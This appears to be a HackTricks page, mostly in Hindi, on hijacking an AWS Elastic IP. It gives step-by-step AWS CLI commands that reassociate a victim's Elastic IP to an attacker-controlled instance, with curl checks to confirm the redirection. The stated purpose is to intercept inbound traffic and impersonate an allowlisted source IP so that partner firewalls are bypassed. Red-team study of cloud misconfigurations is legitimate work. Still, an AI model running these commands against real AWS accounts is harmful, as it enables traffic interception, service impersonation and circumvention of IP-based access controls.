AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

Abuse ec2:AssociateAddress (and optionally ec2:DisassociateAddress) का उपयोग करके किसी victim instance/ENI से एक Elastic IP (EIP) को पुनः असाइन करके attacker instance/ENI पर ले जाएं। यह EIP के लिए निर्धारित इनबाउंड ट्रैफ़िक को attacker की ओर पुनर्निर्देशित करता है और हमलावर को allowlisted सार्वजनिक IP के साथ आउटबाउंड ट्रैफ़िक उत्पन्न करने की अनुमति देता है ताकि बाहरी पार्टनर फ़ायरवॉल को बाईपास किया जा सके।

पूर्वापेक्षाएँ

  • उसी account/VPC में लक्ष्य EIP allocation ID।
  • आपके नियंत्रण में मौजूद attacker instance/ENI।
  • अनुमतियाँ:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress on the EIP allocation-id and on the attacker instance/ENI
  • ec2:DisassociateAddress (optional). नोट: --allow-reassociation पिछली attachment से स्वतः disassociate कर देगा।

हमला

वेरिएबल्स

bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. victim की EIP आवंटित करें या पहचानें (लैब एक नया आवंटित करता है और इसे victim से संलग्न करता है)
bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. सुनिश्चित करें कि EIP वर्तमान में लक्षित सेवा पर रेज़ॉल्व होता है (उदाहरण: बैनर की जाँच)
bash
curl -sS http://$EIP | grep -i victim
  1. EIP को attacker के साथ पुनः-एसोसिएट करें (victim से auto-disassociates)
bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. सत्यापित करें कि EIP अब attacker service की ओर resolve होता है
bash
sleep 5; curl -sS http://$EIP | grep -i attacker

सबूत (स्थानांतरित एसोसिएशन):

bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Impact

  • Inbound impersonation: hijacked EIP की ओर जाने वाला सारा ट्रैफ़िक attacker instance/ENI को पहुँचाया जाता है.
  • Outbound impersonation: Attacker ऐसा ट्रैफ़िक आरंभ कर सकता है जो allowlisted public IP से उत्पन्न होने जैसा दिखता है (partner/external source IP filters को बायपास करने के लिए उपयोगी).

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें